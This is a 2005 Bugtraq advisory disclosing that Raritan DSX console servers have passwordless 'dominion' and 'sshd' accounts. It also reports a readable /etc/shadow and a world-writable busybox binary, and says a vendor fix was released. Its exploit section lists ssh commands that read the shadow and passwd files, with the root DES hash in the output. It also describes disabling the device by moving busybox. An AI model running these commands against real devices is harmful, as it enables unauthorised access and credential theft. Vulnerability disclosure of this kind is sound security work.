Access right escalation / severe permission problems on Raritan Console Servers

spam_at_drwetter.org
Date: 06/28/05

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    Date: 28 Jun 2005 17:56:55 -0000
To: bugtraq@securityfocus.com
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    Hi,

    during my research on console servers I've encountered a severe problem on one appliance.

    Summary:
    Access right escalation / severe permission problems on Raritan Console Servers

    Confirmed on DSX32, Software version: 2.4.6
    www.raritan.com, more see below

    Details:
    DSX Raritan Console Servers come with two accounts not having a password. They are "protected" by "exit" in ~/.profile. Users normally is not supposed to get access to the underlying Linux.
    DES encrypted root passwd is easily retrievable from the network without providing credentials. Also the machine can be rendered useless by moving the busybox binary.

    Vulnerable Versions:
    Vendor Confirmation for DSX16, DSX32, DSX4, DSX8, DSXA-48 (Mips and Intel).

    Patches/Workarounds:
    After reporting it to Raritan a fix was released:
    http://www.raritan.com/support/sup_upgrades.aspx

    Exploit:
    %ssh dominion@<ip> ls -l /
    [..shows listing..]
    %ssh dominion@<ip> ls -ln /etc/shadow
    -rw-r--r-- 1 0 0 360 Jun 28 05:09 /etc/shadow
    %ssh dominion@<ip> cat /etc/shadow
    root:DX8k7w4C2gJ2g:10933:0:99999:7:::
    bin:*:10933:0:99999:7:::
    daemon:*:10933:0:99999:7:::
    adm:*:10933:0:99999:7:::
    lp:*:10933:0:99999:7:::
    sync:*:10933:0:99999:7:::
    shutdown:*:10933:0:99999:7:::
    halt:*:10933:0:99999:7:::
    uucp:*:10933:0:99999:7:::
    operator:*:10933:0:99999:7:::
    nobody:*:10933:0:99999:7:::
    dominion::12962:0:99999:7:::
    sshd::12962:0:99999:7:::
    %ssh dominion@<ip> cat /etc/passwd | tail -2
    dominion:x:500:500:Embedix User,,,:/home/dominion:/bin/sh
    sshd:x:501:501:Embedix User,,,:/home/sshd:/bin/sh
    %ssh sshd@<ip> ls
    indexApp.htm
    %ssh sshd@<ip> ls -l /bin/busybox
    -rwxrwxrwx 1 root root 193852 Apr 4 2004 /bin/busybox

    -----
    Dr. Dirk Wetter http://drwetter.org
    Consulting IT-Security + Open Source
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